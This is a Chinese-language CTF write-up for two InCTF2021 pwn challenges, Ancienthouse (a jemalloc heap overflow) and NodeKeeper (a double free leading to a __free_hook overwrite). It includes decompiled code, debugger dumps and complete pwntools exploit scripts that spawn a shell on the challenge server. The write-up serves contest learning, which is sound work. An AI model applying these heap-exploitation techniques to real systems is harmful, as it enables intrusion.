InCTF2021-Ancienthouse/NodeKeeper-WP

Posted on Aug 16, 2021

Ancienthouse

这道题用了 2.2.5 版本 jemalloc 作为分配器,而不是传统的 ptmalloc。jemalloc 是 Facebook 开发的一个分配器,在 Firefox 和 redis 中都有应用。据说比 ptmalloc 有更好的性能,特别是在多线程下的表现非常优秀。我也是第一次听说这个东西,为了解题简单地了解了一下。在 csdn 上看到一个很棒的系列,如果有兴趣跟着这些文章结合源码就可以理解的比较清楚了。我这里不再细讲,只说和题目相关的。

首先是漏洞点,这个很好发现。merge 操作中的 name 的拼接中存在堆溢出,可以溢出和堆块大小等长的长度

const char *__fastcall strcat_name(const char *str1, char *str2, unsigned __int64 tot_len)
{
  unsigned __int64 i; // [rsp+20h] [rbp-10h]
  size_t v6; // [rsp+28h] [rbp-8h]

  v6 = strlen(str1);
  for ( i = 0LL; i < tot_len; ++i )
    str1[i + v6] = str2[i];
  str1[i + v6] = 0;
  return str1;
}
((void (__fastcall *)(_QWORD))*vtable)(vtable[1]);

退出时会进行这样一个调用,所以思路就是通过 malloc 修改 vtable 这个结构体的前 8 字节为 system,然后紧跟着 /bin/sh 即可 getshell。同时 got 表中是有 system 的。

所以主要要做的就是 leak 出进程基址和对堆块的修改。

jemalloc 以 run 为单位来分配单个内存块,每个 run 都分配同样大小的 extend。比如下面就是一个 0x50 大小的 run

pwndbg> x/20xg 0x7ffff7008000
0x7ffff7008000: 0x00007ffff7800ca8      0x0000003100000001
0x7ffff7008010: 0x0003fffffffffffe      0x0000000000000000
0x7ffff7008020: 0x0000000000000000      0x0000000000000000
0x7ffff7008030: 0x0000000000000000      0x0000000000000000
0x7ffff7008040: 0x0000000000000000      0x0000000000000000
0x7ffff7008050: 0x0000000000000000      0x0000000000000000
0x7ffff7008060: 0x0000555555555b82      0x0000000000000000
0x7ffff7008070: 0x0000000000000000      0x0000000000000000
0x7ffff7008080: 0x0000000000000000      0x0000000000000000
0x7ffff7008090: 0x0000000000000000      0x0000000000000000

对于的 run 的 header 的结构为

pwndbg> p *arenas[0]->bins[5]->runcur
$11 = {
  bin = 0x7ffff7800ca8,
  nextind = 1,
  nfree = 49
}

有趣的是这里的 bin 字段似乎可以用不上的,也就是说可以随意覆写

pwndbg> x/20xg 0x00007ffff7008000
0x7ffff7008000: 0x0000000000000000      0x0000003000000002
0x7ffff7008010: 0x0003fffffffffffc      0x0000000000000000
0x7ffff7008020: 0x0000000000000000      0x0000000000000000
0x7ffff7008030: 0x0000000000000000      0x0000000000000000
0x7ffff7008040: 0x0000000000000000      0x0000000000000000
0x7ffff7008050: 0x0000000000000000      0x0000000000000000
0x7ffff7008060: 0x0000555555555b82      0x0000000000000000
0x7ffff7008070: 0x0000000000000000      0x0000000000000000
0x7ffff7008080: 0x0000000000000000      0x0000000000000000
0x7ffff7008090: 0x0000000000000000      0x0000000000000000

比如改写成 0 也是可以完成分配的。那么如果可以覆写 nextind 字段为 0,就可以分配到虚表上实现对函数指针的修改。本来有打算通过溢出来实现覆写,但是由于申请的次数受到了限制,遂作罢。

最后的思路是通过溢出部分覆写 name 字段,指向虚表,free 掉,过程中 leak 出进程地址,申请回来完全控制虚表。在部分覆写的时候可以 leak 出堆地址,这样 ‘/bin/sh\x00’ 就比较好布置了。

不过由于 strcat_name 时会在末尾补零,所以需要先把堆地址 leak 出来。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h"]

#sh = process("./Ancienthouse")
sh = remote("pwn.challenge.bi0s.in", 1230)

def addEnemy(size, name):
    sh.sendlineafter(">> ", '1')
    sh.sendlineafter("size : ", str(size))
    sh.sendafter("name : ", name)

def battel(idx):
    sh.sendlineafter(">> ", '2')
    sh.sendlineafter("id : ", str(idx))

def battel_win_handle(choice):
    sh.sendlineafter(">>", str(choice))

def merge(idx_1, idx_2):
    sh.sendlineafter(">> ", '3')
    sh.sendlineafter("id 1: ", str(idx_1))
    sh.sendlineafter("id 2: ", str(idx_2))

def flee():
    sh.sendlineafter(">> ", '4')

sh.sendlineafter("!! : ", "/bin/sh\x00")

addEnemy(0x20, 'a' * 0x20)  # 0
addEnemy(0x10, 'a' * 0x9)   # 1

battel(0)
sh.recvuntil("Starting battle with ")
sh.recvuntil('a' * 0x20)
heap_target_base = u64(sh.recv(6).ljust(8, '\x00')) - 0x6050 + 0x8060
bin_sh_addr = heap_target_base - 0x8060 + 0x7040
log.success("vtable: " + hex(heap_target_base))
log.success("/bin/sh: " + hex(bin_sh_addr))

addEnemy(0x10, 'a' * 0x10)                                  # 2 
addEnemy(0x10, 'a' * 0x7 + p64(heap_target_base) + '\x0E')  # 3
addEnemy(0x50, 'idx 4')                                     # 4

for i in range(100 // 15):
    battel(3)

battel(3)
battel_win_handle(1)

merge(1, 2)

battel(4)
sh.recvuntil("Starting battle with ")
prog_base = u64(sh.recv(6).ljust(8, '\x00')) - 0x1B82
system = prog_base + 0x1170
log.success("system: " + hex(system))
battel_win_handle(1)

addEnemy(0x50, p64(system) + p64(bin_sh_addr))   # 5
#gdb.attach(proc.pidof(sh)[0])
flee()

sh.interactive()

总结:虽然这题用了 jemalloc,但是实际上并没有通过 jemalloc 实现利用,而是通过程序自身的逻辑完成的利用。另外由于 jemalloc 对于空闲的堆块并没有进行复用,所以布置数据的时候也可以比较随意。这道题还是比较简单的。

NodeKeeper

漏洞点也是很明显

  else if ( CountArr[v4] > 1u )
  {
    ptr = node;
    Table[v4] = node->next;
    --CountArr[v4];
  }
  if ( !CountArr[v4] )
    Table[v4] = 0LL;
  printf("Do you want to keep it (y/n)? ");
  getInp(&v1, 2u);
  if ( v1 == 'y' || v1 == 'Y' )
  {
    for ( j = 0; j <= 9 && Table[j]; ++j )
      ;
    if ( j > 9 )
      Err("No more space available");
    Table[j] = ptr;
    CountArr[j] = 1;
  }

unlink 操作中,没有对节点的 next 指针置零。在 remove 的 1337 号功能下可以绕过 CountArr 的控制实现 double free

考虑首先 leak 出堆地址,然后伪造 data_ptr 指向一个 fake_chunk,free 掉进入 unsorted bin,leak 出 libc。最后通过 fake_chunk 的 chunk overlapping 打 free_hook

  else if ( v4 )
  {
    if ( v4 >= CountArr[v2] )
      Err("Invalid offset");
    for ( i = 1; v4 > i; ++i )
      ptr = ptr->next;
    v6 = ptr->next;
    ptr->next = ptr->next->next;
    --CountArr[v2];
    if ( !v6->data_ptr )
      Err("Error");
    free(v6->data_ptr);
    free(v6);
  }

注意到在这个删除下不会清空 data_ptr,就可以 leak 堆地址了。

具体的流程比较麻烦,我也不想写了,看 exp 应该可以理解。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h"]

#sh = process("./chall")
sh = remote("")
libc = ELF("./libc.so.6")

def add(length, data):
    sh.sendlineafter(">> ", '1')
    sh.sendlineafter("length : ", str(length))
    sh.sendafter("data : ", data)

def Remove(idx, offset):
    sh.sendlineafter(">> ", '2')
    sh.sendlineafter("index: ", str(idx))
    sh.sendlineafter("all) ", str(offset))

def link(from_idx, to_idx):
    sh.sendlineafter(">> ", '3')
    sh.sendlineafter("to index: ", str(to_idx))
    sh.sendlineafter("from index: ", str(from_idx))

def unlink(idx, offset, keep):
    sh.sendlineafter(">> ", '4')
    sh.sendlineafter("index: ", str(idx))
    sh.sendlineafter("offset: ", str(offset))
    sh.sendlineafter("(y/n)? ", keep)

add(0x28, 'idx:0\n')
add(0x18, 'idx:1\n')
add(0x28, 'idx:2\n')

link(1, 0)
link(2, 0)
unlink(0, 2, 'y')
Remove(0, 2)

add(0x18, '\n') # idx: 2
add(0x28, 'idx: 3\n') # avoid double free err

Remove(1, 1337)

link(3, 2)

# unlink with leak
sh.sendlineafter(">> ", '4')
sh.sendlineafter("index: ", str(2))
sh.recvuntil("Offset 1 : ")
heap_base = u64(sh.recv(6).ljust(8, '\x00')) - 0x310
log.success("heap_base: " + hex(heap_base))
sh.sendlineafter("offset: ", str(1))
sh.sendlineafter("(y/n)? ", 'y')

Remove(0, 1)

# fake head
payload = p64(0) + p64(0)
payload += p64(0) + p64(0x4B1)
payload += p64(heap_base) + p64(heap_base)
add(0x38, payload) # idx: 0

# fill tcache
add(0x38, '\n') # idx: 3
for i in range(6):
    add(0x38, '\n') # idx: 4
    link(4, 3)

Remove(3, 1337)
Remove(0, 1)

add(0x48, '\n') # idx: 0
for i in range(6):
    add(0x48, '\n') # idx: 3
    link(3, 0)

payload = p64(0) * 2
payload += p64(0x4B0) + p64(0x21) * 6
add(0x48, payload)
link(3, 0)

unlink(0, 7, 'y') # left in idx 3
Remove(0, 7)
add(0x18, p64(0) + p64(0x100) + p64(heap_base + 0x3D0 + 0x10))
Remove(3, 1337)
for i in range(6):
    Remove(0, 1)

for i in range(5):
    add(0x38, '\n') # 0

add(0x38, '\n') # idx: 8
Remove(0, 1)
Remove(3, 1)
Remove(5, 1)
Remove(6, 1)
Remove(7, 1)

add(0x28, '\n') # 0
add(0x28, '\n') # 3
add(0x18, '\n') # 5
add(0x18, '\n') # 6

add(0x28, '\n') # 7
Remove(5, 1)
add(0x28, '\n') # 0

link(7, 8)

# unlink with leak
sh.sendlineafter(">> ", '4')
sh.sendlineafter("index: ", str(8))
sh.recvuntil("Offset 1 : ")
libc_base = u64(sh.recv(6).ljust(8, '\x00')) - libc.sym["__malloc_hook"] - 0x70
log.success("libc_base: " + hex(libc_base))
sh.sendlineafter("offset: ", str(1))
sh.sendlineafter("(y/n)? ", 'y')

system = libc_base + libc.sym["system"]
__free_hook = libc_base + libc.sym["__free_hook"]

add(0x60, p64(0) * 7 + p64(0x41) + p64(__free_hook))
Remove(0, 1)
Remove(3, 1)
Remove(6, 1)

add(0x38, '/bin/sh\x00') # 0
add(0x38, p64(system))

Remove(0, 1)

#gdb.attach(proc.pidof(sh)[0])



sh.interactive()